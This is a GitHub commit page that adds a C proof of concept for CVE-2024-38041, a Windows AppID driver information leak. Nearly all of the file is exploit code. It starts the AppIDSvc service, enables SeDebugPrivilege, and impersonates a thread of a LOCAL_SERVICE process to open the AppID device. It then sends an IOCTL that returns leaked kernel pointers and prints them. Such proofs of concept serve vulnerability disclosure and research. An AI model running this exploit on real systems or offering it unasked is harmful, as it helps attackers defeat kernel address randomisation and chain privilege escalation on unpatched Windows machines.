Skip to content

Commit

Permalink
Create CVE-2024-38041.c
Browse files Browse the repository at this point in the history
  • Loading branch information
varwara authored Jul 21, 2024
1 parent 8cd8434 commit 1249cf9
Showing 1 changed file with 281 additions and 0 deletions.
281 changes: 281 additions & 0 deletions CVE-2024-38041.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,281 @@
/*
PoC Info
-------------------------------------------
Vulnerability: CVE-2024-38041
Environment: Windows 11 22h2 Build 22621
Required privileges: High IL
-------------------------------------------
*/

#include <Windows.h>
#include <winsvc.h>
#include <stdio.h>
#include <processthreadsapi.h>
#include <TlHelp32.h>
#include <ntstatus.h>
#include <stdint.h>
#include <winternl.h>
#include <psapi.h>
#include <string.h>

#pragma comment(lib, "ntdllp.lib")
#pragma comment(lib, "Advapi32.lib")

#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define IOCTL_LEAK_SOME_PTRS 0x22A014

//
// Main exploit structures definition
//
typedef struct _LEAKED_DATA {
uint64_t field0;
uint64_t field1;
uint64_t field2;
uint64_t field3;
uint64_t field4;
uint64_t field5;
}LEAKED_DATA;

//
// SC Manager helper functions
//
SC_HANDLE GetSCM()
{
SC_HANDLE svcManager = OpenSCManagerW(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (!svcManager)
{
printf("[-] OpenSCManagerW failes with error %lu\n", GetLastError());
return FALSE;
}

else
{
printf("[+] OpenSCManagerW handle value opened!\n");
return svcManager;
}
}

void AppIDStart()
{
printf("[!] Starting AppIDSvc\n");
system("sc start AppIDSvc");
}

SC_HANDLE GetServiceHandleByName(LPCWSTR ServiceName)
{
SC_HANDLE sh = 0;
BOOL success = FALSE;
SC_HANDLE scm = GetSCM();
if (scm)
{
sh = OpenServiceW(scm, ServiceName, SERVICE_QUERY_STATUS);
if (sh == NULL)
{
printf("[-] OpenServiceW failed with error %d\n", GetLastError());
return 0;
}

else return sh;
}

return 0;
}

DWORD GetServiceProcessID(LPCWSTR ServiceName)
{
SERVICE_STATUS_PROCESS ssp = { 0 };
DWORD dwBytesNeeded = 0;
SC_HANDLE ServiceHandle = 0;

ServiceHandle = GetServiceHandleByName(ServiceName);

if (!QueryServiceStatusEx(ServiceHandle, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, sizeof(SERVICE_STATUS_PROCESS), &dwBytesNeeded))
{
printf("[-] QueryServiceStatusEx failed with error %d\n", GetLastError());
CloseServiceHandle(ServiceHandle);
}

else
{
printf("[+] SERVICE_STATUS_PROCESS.dwProcessId = %d\n", ssp.dwProcessId);
return ssp.dwProcessId;
}

return 0;
}

DWORD GetFirstThreadID(DWORD PID)
{
THREADENTRY32 te32 = { 0 };
HANDLE hThreadSnap;

hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
te32.dwSize = sizeof(THREADENTRY32);
Thread32First(hThreadSnap, &te32);

do
{
if (te32.th32OwnerProcessID == PID)
{
printf("[+] GetFirstThreadID first TID = %d\n", te32.th32ThreadID);
return te32.th32ThreadID;
}
} while (Thread32Next(hThreadSnap, &te32));

return ERROR_FILE_NOT_FOUND;
}


BOOL SetPrivilege(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable or disable privilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;

if ( !LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid ) ) // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %u\n", GetLastError() );
return FALSE;
}

tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;

// Enable the privilege or disable all privileges.

if ( !AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) )
{
printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
return FALSE;
}

if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)

{
printf("The token does not have the specified privilege. \n");
return FALSE;
}

return TRUE;
}

BOOL EnableDebugPrivilege()
{
HANDLE tempTokenHandle;
HANDLE currentToken;
BOOL success = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &tempTokenHandle);
if (!success)
{
printf("[-] Failed to open current process token\n");
return FALSE;
}

currentToken = tempTokenHandle;
success = SetPrivilege(currentToken, L"SeDebugPrivilege", TRUE);

if (!success)
{
printf("[-] Failed to set SeDebugPrivilege\n");
return FALSE;
}

return TRUE;
}

int main()
{
DWORD dwLocalSvcId = 0;
DWORD tid = 0;
HANDLE local_service_thread;
BOOL success = FALSE;
HANDLE hLocalSvc = 0;
SECURITY_QUALITY_OF_SERVICE sqos = { 0 };
HANDLE hAppID;

//
// Start the vulnerable service, because it's off by default
//
AppIDStart();

//
// It could be any service which is running at LOCAL_SERVICE privileges
// except services running as PPL
//
dwLocalSvcId = GetServiceProcessID(L"BthAvctpSvc");
tid = GetFirstThreadID(dwLocalSvcId);
success = EnableDebugPrivilege();
if (!success)
{
printf("[-] EnableDebugPrivilege failed\n");
}

hLocalSvc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwLocalSvcId);
if (!hLocalSvc)
{
printf("[-] Couldn't get a handle to the LOCAL_SERVICE process with error %d\n", GetLastError());
}

local_service_thread = OpenThread(THREAD_DIRECT_IMPERSONATION, FALSE, tid);

if (local_service_thread == NULL)
{
printf("[-] OpenThread failed with error %d\n", GetLastError());

}

else
{
printf("[+] Opened a THREAD_DIRECT_IMPERSONATION handle to the LOCAL_SERVICE process\n");
}

sqos.Length = sizeof(sqos);
sqos.ImpersonationLevel = SecurityImpersonation;
NTSTATUS status = NtImpersonateThread(GetCurrentThread(), local_service_thread, &sqos);

if (!NT_SUCCESS(status))
{
printf("[-] NtImpersonateThread failed with status = %x\n", status);
}

hAppID = CreateFileW(L"\\\\.\\GLOBALROOT\\Device\\AppID", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);
if (hAppID == INVALID_HANDLE_VALUE)
{
printf("[-] CreateFileW failed with error %d\n", GetLastError());
}

RevertToSelf();

DWORD out_buf_size = sizeof(LEAKED_DATA);
LEAKED_DATA ld = { 0 };

success = DeviceIoControl(hAppID, IOCTL_LEAK_SOME_PTRS, 0, 0, &ld, out_buf_size, NULL, NULL);

if (success == FALSE)
{
printf("[-] DeviceIoControl failed with error %x\n", GetLastError());
}

//
// Print some leaked data
//
printf("\nfield0 -> %llx\nfield1 -> %llx\nfield2 -> %llx\nfield3 -> %llx\nfield4 -> %llx\nfiedl5 -> %llx\n",
ld.field0, ld.field1, ld.field2, ld.field3, ld.field4, ld.field5);

return 0;
}

0 comments on commit 1249cf9

Please sign in to comment.